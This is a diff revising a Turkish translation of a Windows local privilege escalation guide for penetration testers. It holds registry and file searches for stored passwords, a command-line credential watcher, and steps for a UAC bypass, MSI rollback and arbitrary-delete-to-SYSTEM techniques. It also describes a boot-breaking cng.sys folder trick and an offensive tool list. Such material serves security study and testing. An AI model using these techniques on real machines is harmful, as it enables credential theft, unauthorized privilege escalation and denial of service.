**HKEY\CLASSES\ROOT** oluşturulmasıyla meydana gelir. -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). +Bu kayıt içindeki CLSID'lerin altında **InProcServer32** adlı alt kayıt bulunur; burası bir **varsayılan değer** içerir ve bu değer bir **DLL**'e işaret eder. Ayrıca **ThreadingModel** adında bir değer bulunur; bu değer **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) veya **Neutral** (Thread Neutral) olabilir. ![](<../../images/image (729).png>) -Temelde, çalıştırılacak DLL'lerden herhangi birini overwrite edebiliyorsan, o DLL farklı bir kullanıcı tarafından çalıştırılacaksa escalate privileges yapabilirsin. +Temelde, yürütülecek **DLL'lerin** herhangi birini üzerine yazabilirseniz, o DLL farklı bir kullanıcı tarafından çalıştırılacaksa **yetki yükseltmesi** gerçekleştirebilirsiniz. -Saldırganların COM Hijacking'i persistence mekanizması olarak nasıl kullandıklarını öğrenmek için bak: +To learn how attackers use COM Hijacking as a persistence mechanism check: {{#ref}} com-hijacking.md {{#endref}} -### **Genel Parola araması dosyalarda ve registry'de** +### **Dosyalarda ve kayıt defterinde genel parola araması** -**Dosya içeriklerinde ara** +**Dosya içeriğinde arama yapın** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Belirli bir dosya adına sahip dosyayı ara** +**Belirli bir dosya adına sahip bir dosyayı ara** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Kayıt defterinde anahtar adları ve parolalar için arama yap** +**Anahtar adları ve şifreler için registry'yi ara** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Şifre arayan araçlar +### Passwords arayan araçlar -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf eklentisidir.** Bu eklentiyi, hedef içinde credentials arayan tüm metasploit POST modüllerini **otomatik olarak çalıştırmak** için oluşturdum.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada bahsedilen şifreleri içeren tüm dosyaları otomatik olarak arar.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden şifre çıkarmak için başka bir harika araçtır. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** pluginidir. Bu eklentiyi, hedef içinde **credentials** arayan tüm **metasploit POST module**'lerini **otomatik olarak çalıştırmak** için oluşturdum.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada bahsedilen passwords içeren tüm dosyaları otomatik olarak arar.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden password çıkarmak için başka harika bir araçtır. -Araç [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher), bu verileri düz metin olarak kaydeden (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) çeşitli araçlardaki **sessions**, **usernames** ve **passwords**'ı arar +The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı, bu verileri clear text olarak kaydeden çeşitli araçların **sessions**, **usernames** ve **passwords**'larını arar (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1263,30 +1264,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Düşünün ki **SYSTEM olarak çalışan bir süreç** (`OpenProcess()`) **tam erişimle yeni bir süreç açıyor**. Aynı süreç **CreateProcess() ile düşük ayrıcalıklı ama ana sürecin tüm açık handle'larını devralan yeni bir süreç de oluşturuyor**.\ -O zaman, eğer **düşük ayrıcalıklı sürece tam erişiminiz** varsa, `OpenProcess()` ile oluşturulmuş **ayrıcalıklı sürece ait açık handle'ı** alıp **bir shellcode enjekte edebilirsiniz**.\ -[Bu örneği, bu zafiyeti **nasıl tespit edip istismar edeceğiniz** hakkında daha fazla bilgi için okuyun.](leaked-handle-exploitation.md)\ -[Bu **diğer yazı**, farklı izin seviyeleriyle miras kalan süreç ve thread açık handle'larını nasıl test edip kötüye kullanacağınızı (sadece tam erişim değil) daha kapsamlı açıklıyor.](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) +Düşünün ki **SYSTEM olarak çalışan bir process**, `OpenProcess()` ile **full access** sahip yeni bir process açıyor. Aynı process **`CreateProcess()` ile düşük ayrıcalıklı fakat ana processin tüm açık handle'larını devralan** bir process daha oluşturuyor.\ +Eğer düşük ayrıcalıklı process üzerinde **full access** hakkınız varsa, `OpenProcess()` ile oluşturulmuş ayrıcalıklı process'e ait **açık handle'ı** ele geçirip **shellcode enjekte edebilirsiniz**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Paylaşılan bellek segmentleri, **pipes** olarak adlandırılan, süreçler arası iletişim ve veri aktarımını sağlar. +Paylaşılan bellek segmentleri, **pipes** olarak adlandırılır ve processler arası iletişim ile veri aktarımını sağlar. -Windows, ilişkisi olmayan süreçlerin veri paylaşmasına, hatta farklı ağlar üzerinden bile, izin veren **Named Pipes** adında bir özellik sağlar. Bu, rolü **named pipe server** ve **named pipe client** olarak tanımlanan bir client/server mimarisine benzer. +Windows, ilişkisiz processlerin bile veri paylaşmasına olanak veren **Named Pipes** adlı bir özellik sağlar; hatta farklı ağlar üzerinden bile. Bu, **named pipe server** ve **named pipe client** rollerinin tanımlandığı bir client/server mimarisine benzer. -Bir **client** tarafından pipe üzerinden veri gönderildiğinde, pipe'ı kuran **server**, gerekli **SeImpersonate** haklarına sahipse **client'ın kimliğini üstlenme** yeteneğine sahiptir. Pipe üzerinden iletişim kuran ve taklit edebileceğiniz bir **ayrıcalıklı süreç** tespit etmek, sizin kurduğunuz pipe ile etkileşime geçtiğinde o sürecin kimliğini üstlenerek **daha yüksek ayrıcalık elde etme** fırsatı sağlar. Böyle bir saldırıyı gerçekleştirme talimatları için rehberler [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir. +Bir **client** tarafından pipe üzerinden veri gönderildiğinde, pipe'ı kuran **server**, gerekli **SeImpersonate** haklarına sahipse **client'ın kimliğini üstlenme** yeteneğine sahiptir. Pipe üzerinden iletişim kuran ve taklit edebileceğiniz bir **ayrıcalıklı process** tespit etmek; sizin oluşturduğunuz pipe ile etkileşime girdiğinde onun kimliğini üstlenerek **daha yüksek ayrıcalıklar elde etme** şansı verir. Böyle bir saldırının nasıl gerçekleştirileceğine dair yönergeler için [**buraya**](named-pipe-client-impersonation.md) ve [**buraya**](#from-high-integrity-to-system) bakın. -Ayrıca aşağıdaki araç, burp gibi bir araçla named pipe iletişimini yakalamanıza olanak sağlar: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) ve bu araç tüm pipe'ları listeleyip privescs bulmanıza yardımcı olur: [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ayrıca aşağıdaki araç, burp gibi bir araçla **named pipe iletişimini intercept etmeye** olanak tanır: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) ve bu araç tüm pipe'ları listeleyip görüntüleyerek privesc'leri bulmanıza yardımcı olur: [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Çeşitli +## Diğer -### Windows'ta bir şeyler çalıştırabilecek dosya uzantıları +### File Extensions that could execute stuff in Windows -Sayfaya göz atın **[https://filesec.io/](https://filesec.io/)** +Sayfaya göz atın: [https://filesec.io/](https://filesec.io/) ### **Komut Satırlarını Parolalar İçin İzleme** -Bir kullanıcı olarak shell elde ettiğinizde, komut satırında kimlik bilgilerini ileten planlanmış görevler veya yürütülen diğer süreçler olabilir. Aşağıdaki script, süreçlerin komut satırlarını her iki saniyede bir yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktı olarak gösterir. +Bir kullanıcı olarak shell elde ettiğinizde, zamanlanmış görevler veya diğer processlerin çalıştırılıyor olması ve kimlik bilgilerini komut satırında geçiriyor olmaları mümkündür. Aşağıdaki script, process komut satırlarını her iki saniyede bir yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktı olarak verir. ```bash while($true) { @@ -1296,15 +1297,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Stealing passwords from processes +## Proseslerden parolaları çalma -## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'e (CVE-2019-1388) / UAC Bypass -Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde ayrıcalıksız bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka herhangi bir süreci çalıştırmak mümkün olabilir. +Eğer grafik arayüze (konsol veya RDP üzerinden) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan terminal veya "NT\AUTHORITY SYSTEM" gibi başka bir süreci çalıştırmak mümkündür. -Bu, aynı güvenlik açığıyla aynı anda ayrıcalıkları yükseltmeyi ve UAC'yi atlamayı mümkün kılar. Ek olarak, hiçbir şey yüklemeye gerek yoktur ve süreçte kullanılan ikili dosya imzalıdır ve Microsoft tarafından sağlanmıştır. +Bu, ayrıcalıkları yükseltmeyi ve aynı zamanda aynı zafiyetle UAC'yi atlamayı mümkün kılar. Ayrıca, herhangi bir şey kurmaya gerek yoktur ve süreç sırasında kullanılan binary, Microsoft tarafından imzalanmış ve yayımlanmıştır. -Some of the affected systems are the following: +Etkilenen bazı sistemler şunlardır: ``` SERVER ====== @@ -1326,7 +1327,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Bu güvenlik açığından yararlanmak için aşağıdaki adımların uygulanması gerekmektedir: +Bu zafiyetten yararlanmak için aşağıdaki adımların gerçekleştirilmesi gerekir: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1368,11 +1369,11 @@ Then **read this to learn about UAC and UAC bypasses:** The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Saldırı temelde Windows Installer'ın rollback özelliğini, uninstall işlemi sırasında meşru dosyaları kötü amaçlı olanlarla değiştirilecek şekilde kötüye kullanmaktan ibarettir. Bunun için saldırganın `C:\Config.Msi` klasörünü ele geçirmek üzere kullanılacak **kötü amaçlı bir MSI installer** oluşturması gerekir; Windows Installer, diğer MSI paketlerinin uninstall işlemlerinde rollback dosyalarını buraya koyar ve bu rollback dosyaları daha sonra kötü amaçlı payload içerecek şekilde değiştirilir. +The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. -Özet teknik şu şekildedir: +The summarized technique is the following: -1. **Stage 1 – Hijack için Hazırlık (bırakın `C:\Config.Msi` boş kalsın)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI - Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). @@ -1457,41 +1458,41 @@ You could exploit **NTFS internals**: every folder has a hidden alternate data s ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Bu akış klasörün **indeks meta verisini** depolar. +Bu akış klasörün **dizin meta verisini** depolar. -Yani, bir klasörün **`::$INDEX_ALLOCATION` akışını silerseniz**, NTFS, dosya sisteminden **tüm klasörü kaldırır**. +Dolayısıyla, bir klasörün **`::$INDEX_ALLOCATION` akışını silerseniz**, NTFS dosya sisteminden **tüm klasörü kaldırır**. Bunu şu gibi standart dosya silme API'leri kullanarak yapabilirsiniz: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Bir *dosya* silme API'sini çağırıyor olsanız da, o **klasörün kendisini siliyor**. +> *dosya* silme API'sini çağırıyor olsanız bile, klasörün kendisini **siler**. -### Klasör İçeriğini Silmekten SYSTEM EoP'ye -Primitive rastgele dosya/klasörleri silmenize izin vermiyorsa, ancak **saldırgan-kontrollü bir klasörün *içeriğinin* silinmesine** izin veriyorsa ne olur? +### Klasör İçeriğinin Silinmesinden SYSTEM EoP'ye +Primitive'iniz rastgele dosya/klasör silmenize izin vermiyorsa, fakat saldırgan kontrollü bir klasörün *içeriğinin* silinmesine **izin veriyorsa** ne olur? -1. Adım 1: Tuzak klasör ve dosya oluşturma -- Oluşturun: `C:\temp\folder1` +1. Adım 1: Tuzak bir klasör ve dosya oluşturun +- Oluştur: `C:\temp\folder1` - İçinde: `C:\temp\folder1\file1.txt` -2. Adım 2: `file1.txt` üzerine bir **oplock** yerleştirme -- Oplock, ayrıcalıklı bir süreç `file1.txt`'i silmeye çalıştığında **yürütmeyi duraklatır**. +2. Adım 2: `file1.txt` üzerinde bir **oplock** yerleştirin +- Bir yetkili süreç `file1.txt`'i silmeye çalıştığında oplock yürütmeyi **duraklatır**. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Adım 3: SYSTEM sürecini tetikleyin (ör. `SilentCleanup`) -- Bu süreç klasörleri tarar (ör. `%TEMP%`) ve içeriklerini silmeye çalışır. +3. Adım 3: SYSTEM sürecini tetikleyin (örn., `SilentCleanup`) +- Bu süreç klasörleri tarar (örn., `%TEMP%`) ve içlerini silmeye çalışır. - `file1.txt`'e ulaştığında, **oplock tetiklenir** ve kontrol callback'inize geçer. -4. Adım 4: oplock callback içinde – silmeyi yönlendir +4. Adım 4: Oplock callback'i içinde – silme işlemini yönlendirin -- Seçenek A: `file1.txt`'i başka bir yere taşı -- Bu, oplock'u bozmadan `folder1`'i boşaltır. -- `file1.txt`'i doğrudan silmeyin — bu oplock'un erken serbest bırakılmasına neden olur. +- Seçenek A: `file1.txt`'i başka bir yere taşıyın +- Bu, `folder1`'i oplock'u bozmadan boşaltır. +- `file1.txt`'i doğrudan silmeyin — bu, oplock'un zamanından önce serbest kalmasına neden olur. -- Seçenek B: `folder1`'i bir **junction**'a dönüştür: +- Seçenek B: `folder1`'i bir **junction**'a dönüştürün: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1501,68 +1502,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Bu, klasör metadata'sını depolayan NTFS'in dahili akışını hedef alır — onu silmek klasörü siler. +> Bu, klasör meta verilerini depolayan NTFS iç akışını hedef alır — onu silmek klasörü siler. 5. Adım 5: Oplock'u serbest bırak -- SYSTEM süreci devam eder ve `file1.txt` dosyasını silmeye çalışır. -- Ancak şimdi, junction + symlink nedeniyle, aslında siliyor: +- SYSTEM işlemi devam eder ve `file1.txt` dosyasını silmeye çalışır. +- Ama şimdi, junction + symlink nedeniyle, aslında şu şeyi siliyor: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Sonuç**: `C:\Config.Msi` SYSTEM tarafından silinir. -### Keyfi Klasör Oluşturmadan Kalıcı DoS'a +### From Arbitrary Folder Create to Permanent DoS -Bir primitive'i kullanın; bu primitive size **SYSTEM/admin olarak keyfi bir klasör oluşturma** imkanı verir — hatta **dosya yazamıyor olsanız bile** veya **zayıf izinler ayarlayamıyor olsanız bile**. +Sizi **create an arbitrary folder as SYSTEM/admin** yapmaya izin veren bir primitive'yi istismar edin — hatta **dosya yazamıyorsanız** veya **zayıf izinler ayarlayamıyorsanız** bile. -Bir **klasör** (dosya değil) oluşturun, adını bir **kritik Windows sürücüsü** adıyla verin, örn.: +Bir **klasör** (dosya değil) oluşturun; adına bir **kritik Windows sürücüsü** koyun, örn.: ``` C:\Windows\System32\cng.sys ``` -- Bu yol normalde `cng.sys` kernel-mode sürücüsüne karşılık gelir. -- Eğer onu **klasör olarak önceden oluşturursanız**, Windows gerçek sürücüyü önyükleme sırasında yükleyemez. -- Ardından, Windows önyükleme sırasında `cng.sys` yüklemeye çalışır. -- Klasörü görür, **gerçek sürücüyü çözemediği için** ve **çöker veya önyüklemeyi durdurur**. -- Dış müdahale olmadan (ör. önyükleme onarımı veya disk erişimi) **geri dönüş yoktur**, ve **kurtarma yoktur**. +- Bu yol genellikle `cng.sys` çekirdek mod sürücüsüne karşılık gelir. +- Eğer bunu **önceden bir klasör olarak oluşturursanız**, Windows önyüklemede gerçek sürücüyü yükleyemez. +- Sonra, Windows önyükleme sırasında `cng.sys`'i yüklemeye çalışır. +- Klasörü görür, **gerçek sürücüyü çözümleyemez**, ve **çöker veya önyüklemeyi durdurur**. +- Harici müdahale olmadan (ör. önyükleme onarımı veya disk erişimi) **yedek yol** veya **kurtarma** yoktur. -## **Yüksek Bütünlükten SYSTEM'e** +## **High Integrity'den SYSTEM'e** ### **Yeni servis** -Zaten bir Yüksek Bütünlük işleminde çalışıyorsanız, **SYSTEM'e giden yol** sadece **yeni bir servis oluşturup çalıştırmak** olabilir: +Zaten High Integrity bir işlem üzerinde çalışıyorsanız, **SYSTEM'e giden yol** sadece **yeni bir servis oluşturup çalıştırmak** kadar kolay olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Bir service binary oluştururken geçerli bir service olduğundan veya binary'nin gerekli eylemleri hızlıca gerçekleştirdiğinden emin olun; geçerli bir service değilse 20s içinde sonlandırılacaktır. +> Bir service binary oluştururken bunun geçerli bir service olduğundan ya da ikili dosyanın gerekli işlemleri hızlıca gerçekleştirdiğinden emin olun; geçerli bir service değilse 20s içinde sonlandırılacaktır. ### AlwaysInstallElevated -High Integrity process'ten **AlwaysInstallElevated registry entries**'i etkinleştirmeyi ve bir _**.msi**_ wrapper kullanarak bir reverse shell **install** etmeyi deneyebilirsiniz.\ -[Burada ilgili kayıt anahtarları ve _.msi_ paketinin nasıl kurulacağı hakkında daha fazla bilgi.](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -Kodu [**burada bulabilirsiniz**](seimpersonate-from-high-to-system.md). +**Kodu** [**burada bulabilirsiniz**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Eğer bu token ayrıcalıklarına sahipseniz (muhtemelen zaten bir High Integrity process içinde bulursunuz), SeDebug ayrıcalığı ile (korunan processler hariç) **neredeyse herhangi bir process'i açabilir**, process'in **token**'ini **kopyalayabilir** ve o token ile **istediğiniz bir process'i oluşturabilirsiniz**.\ -Bu teknik genellikle **tüm token ayrıcalıklarına sahip ve SYSTEM olarak çalışan bir process'in seçilmesini** içerir (_evet, tüm token ayrıcalıklarına sahip olmayan SYSTEM process'leri de bulabilirsiniz_).\ -Önerilen tekniği çalıştıran bir kod örneğini [**burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md). +If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ +Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Bu teknik meterpreter tarafından getsystem sırasında kullanılır. Teknik, **bir pipe oluşturmak ve ardından o pipe'a yazması için bir service oluşturmak/kötüye kullanmaktan** oluşur. Sonrasında, **pipe'ı oluşturan server** `SeImpersonate` ayrıcalığını kullanarak pipe istemcisinin (service) **token**'ini **impersonate** edebilir ve SYSTEM ayrıcalıkları elde edebilir.\ -Named Pipes hakkında [**daha fazla bilgi edinmek istiyorsanız bunu okuyun**](#named-pipe-client-impersonation).\ -High integrity'den System'e name pipes kullanarak nasıl geçileceğine dair bir örneği [**burada okuyabilirsiniz**](from-high-integrity-to-system-with-name-pipes.md). +This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Eğer SYSTEM olarak çalışan bir process tarafından **yüklenen bir dll'i hijack** etmeyi başarırsanız, o izinlerle rastgele kod çalıştırabilirsiniz. Bu yüzden Dll Hijacking bu tür privilege escalation için kullanışlıdır ve ayrıca yüksek integrity bir process'ten elde edilmesi **çok daha kolaydır**, çünkü dll'lerin yüklendiği klasörlerde **write permissions**'a sahip olacaktır.\ -Dll hijacking hakkında [**daha fazla öğrenebilirsiniz**](dll-hijacking/index.html). +If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1580,45 +1581,45 @@ Dll hijacking hakkında [**daha fazla öğrenebilirsiniz**](dll-hijacking/index. ## Useful tools -**Windows yerel privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Yapılandırma hatalarını ve hassas dosyaları kontrol eder (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Tespit edildi.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Olası bazı yapılandırma hatalarını kontrol eder ve bilgi toplar (**[**buraya bakın**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Yapılandırma hatalarını kontrol eder**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kayıtlı oturum bilgilerini çıkarır. Yerelde -Thorough kullanın.**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Yanlış yapılandırmaları ve hassas dosyaları kontrol et (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Tespit edildi.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Olası yanlış yapılandırmaları kontrol et ve bilgi topla (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol et**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Localde -Thorough kullanın.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager'dan kimlik bilgilerini çıkarır. Tespit edildi.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları domain genelinde spray yapar**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer ve man-in-the-middle aracıdır.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows enumerasyonu**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~\**\~\~ -- Bilinen privesc zafiyetlerini ara (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Admin hakları gerekir)** +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları domain üzerinde spray yapar**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer ve man-in-the-middle aracı.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini ara (Watson için DEPRECATED)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokal kontroller **(Admin hakları gerekli)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio ile derlenmesi gerekir) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Host'u tarayarak yapılandırma hatalarını arar (daha çok bilgi toplama aracı, privesc'ten ziyade) (derlenmesi gerekir) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (GitHub'da ön-derlenmiş exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini ara (VisualStudio ile derlenmesi gerekir) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları arayarak hostu enumerate eder (daha çok bilgi toplama aracı, privesc'ten çok) (derlenmesi gerekir) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da precompiled exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~\**\~\~ -- Yapılandırma hatalarını kontrol eder (GitHub'da ön-derlenmiş executable). Önerilmez. Win10'da iyi çalışmaz.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yapılandırma hatalarını kontrol eder (python'dan exe). Önerilmez. Win10'da iyi çalışmaz. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol et (github'da executable precompiled). Önerilmez. Win10'da iyi çalışmıyor.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Olası yanlış yapılandırmaları kontrol et (python'dan exe). Önerilmez. Win10'da iyi çalışmıyor. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Bu gönderiye dayanarak oluşturulmuş araç (doğru çalışması için accesschk'e ihtiyaç yoktur fakat kullanabilir). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Bu gönderiye dayanarak oluşturulmuş araç (accesschk olmadan da çalışır ama kullanabilir). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** çıktısını okur ve işe yarayan exploit'leri önerir (yerel python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** çıktısını okur ve işe yarayan exploit'leri önerir (yerel python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** çıktısını okuyup çalışabilecek exploitleri önerir (local python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** çıktısını okuyup çalışabilecek exploitleri önerir (local python) **Meterpreter** 